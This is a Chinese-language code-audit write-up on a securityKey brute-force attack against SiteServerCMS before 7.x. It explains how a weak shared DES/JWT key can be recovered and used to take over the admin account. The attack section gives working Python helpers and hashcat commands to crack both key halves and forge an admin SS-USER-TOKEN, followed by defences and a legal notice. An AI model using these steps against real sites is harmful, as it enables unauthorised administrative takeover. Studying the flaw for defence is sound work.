代码审计 | SiteServerCMS密钥攻击
字数 1884 2025-08-15 21:30:45
SiteServerCMS密钥攻击分析与防御教学文档
一、漏洞背景
SiteServerCMS在7.x版本之前存在一个安全漏洞,由于加密和签名使用相同的securityKey,且密钥生成算法存在缺陷,导致攻击者可以通过暴力破解方式获取完整密钥。
二、技术原理分析
2.1 系统加密机制
-
密钥生成:
- 旧版本使用
GetShortGuid()生成16字节(0-f小写)的字符串作为securityKey - 该密钥同时用于DES加密和JWT签名
- 旧版本使用
-
DES加密使用:
- 使用CBC模式
- 固定IV值:
{ 0×12, 0×34, 0×56, 0×78, 0×90, 0xAB, 0xCD, 0xEF } - 密钥长度:8字节(实际有效56位)
-
JWT签名:
- 使用HS256算法
- 格式:
Header.Payload.Signature - 签名密钥为完整的16字节
securityKey
2.2 漏洞成因
-
密钥拆分问题:
- 16字节密钥被拆分为两个8字节部分(KeyA和KeyB)
- KeyA用于DES加密,KeyB用于JWT签名
- 两部分可以分别破解
-
DES等效密钥问题:
- DES密钥实际有效位只有56位
- 每个字节的最后1位是校验位
- 导致存在多个等效密钥(最多256个)
三、攻击步骤详解
3.1 获取DES密钥(KeyA)
-
收集必要信息:
- 获取登录验证码的明文(如"pM44")
- 从Cookie中获取对应的密文(如"tiUDU5G1PJE0equals00secret0")
- 已知固定IV值
-
构造Hashcat破解命令:
def get_keya(ct, pt, iv): # 第一组密文,8字节 st = base64.b64decode(b64_de_replace(ct)).hex()[:16] # 第一组明文 XOR IV md = bxor(pt, iv).hex() print('hashcat -m 14000 {}:{} -a 3 "?h?h?h?h?h?h?h?h" --force'.format(st, md)) pt = b'pM44' + b'\x04' * 4 # 验证码,PKCS7填充 ct = 'tiUDU5G1PJE0equals00secret0' iv = b'\x12\x34\x56\x78\x90\xAB\xCD\xEF' get_keya(ct, pt, iv)输出示例:
hashcat -m 14000 b625035391b53c91:6279624c94afc9eb -a 3 "?h?h?h?h?h?h?h?h" --force -
计算等效密钥组:
def get_key_list(key): result = [key] for i in range(len(key)): for k in result: t = list(k) s = chr(ord(t[i]) ^ 1) if s in '1234567890abcdef': t[i] = s n = ''.join(t) if n not in result: result.append(n) return result keya = 'd78e2f50' print(get_key_list(keya))可能产生32组、64组、128组或最多256组等效密钥
3.2 获取JWT签名密钥(KeyB)
-
收集JWT令牌:
- 从Cookie获取
SS-USER-TOKEN - 示例:
miwSyMrZkrJd0slash0y2v1vmYi2SQmsVxvzJm2kyerBmpzHqZvyr2mFCONEeBNiQmnHvAB0slash091aIXgky0uXXLo2mhhNpwfOLC0add03CxWLOxagungkttJcTIxPKgUosbkNGNoXUD5gUf70add0z6pJBihGUowi8xxOLmsdzk8PMjzeQ1zpNWvkyBqc00slash0Igtyzw90slash0aQD1eT3ZMaZIJl1Sccue7vUlJt4ZIRxflikVgHi0slash0muAjrEACajO80equals00secret0
- 从Cookie获取
-
提取签名哈希:
ct = SS-USER-TOKEN keya = 'd78e2f50' ss_at = decrypt(ct, keya, iv).split('.') st_hmac = base64_url_decode(ss_at[2]).hex() print(st_hmac)输出示例:
1db8dd410455cf1de31f24b57bc60a81298fe346005b11953733a12a3a06c618 -
生成Hashcat破解脚本:
def get_keyb(ct, keya, iv): keyb_list = get_key_list(keya) ss_at = decrypt(ct, keya, iv).split('.') ss_pt = ss_at[0] + '.' + ss_at[1] st_hmac = base64_url_decode(ss_at[2]).hex() with open('keyb.sh', 'wt') as fs: for k in keyb_list: hs = 'hashcat -m 1450 {}:{} -a 3 "{}?h?h?h?h?h?h?h?h" --force{}'.format(st_hmac, ss_pt, k, "\n") fs.write(hs) print('$ bash keyb.sh') ct = SS-USER-TOKEN keya = 'd78e2f50' iv = b'\x12\x34\x56\x78\x90\xAB\xCD\xEF' get_keyb(ct, keya, iv) -
执行破解:
- 运行生成的
keyb.sh脚本 - 检查破解结果:
cat ~/.hashcat/hashcat.potfile - 成功示例:
d68d2f41d7497659(完整的16字节密钥)
- 运行生成的
3.3 伪造管理员令牌
-
构造管理员JWT:
- 使用获取的完整密钥
- 设置
UserId=1(通常为admin) - 生成新的签名
-
替换Cookie:
- 将伪造的令牌设置为
SS-USER-TOKEN - 获取后台管理员权限
- 将伪造的令牌设置为
四、防御措施
-
密钥生成改进:
- 使用更长的密钥(如7.x版本已增加长度)
- 使用加密安全的随机数生成器
-
加密与签名分离:
- 不要使用相同密钥用于加密和签名
- 为不同功能使用独立密钥
-
算法升级:
- 弃用DES,改用AES等更安全的算法
- 使用更安全的签名算法
-
防御性编程:
- 实施密钥轮换机制
- 监控异常登录行为
五、参考工具
-
Hashcat命令:
- DES破解:
hashcat -m 14000 <密文:中间值> -a 3 "?h?h?h?h?h?h?h?h" - HMAC-SHA256破解:
hashcat -m 1450 <签名哈希:JWT头载荷> -a 3 "<KeyA部分>?h?h?h?h?h?h?h?h"
- DES破解:
-
Python辅助函数:
bxor(): 字节异或运算get_key_list(): 生成等效密钥组decrypt(): DES解密函数
六、法律声明
本技术文档仅用于安全研究与防御目的,未经授权对系统进行测试或攻击可能违反相关法律法规。实施安全测试前请确保获得合法授权。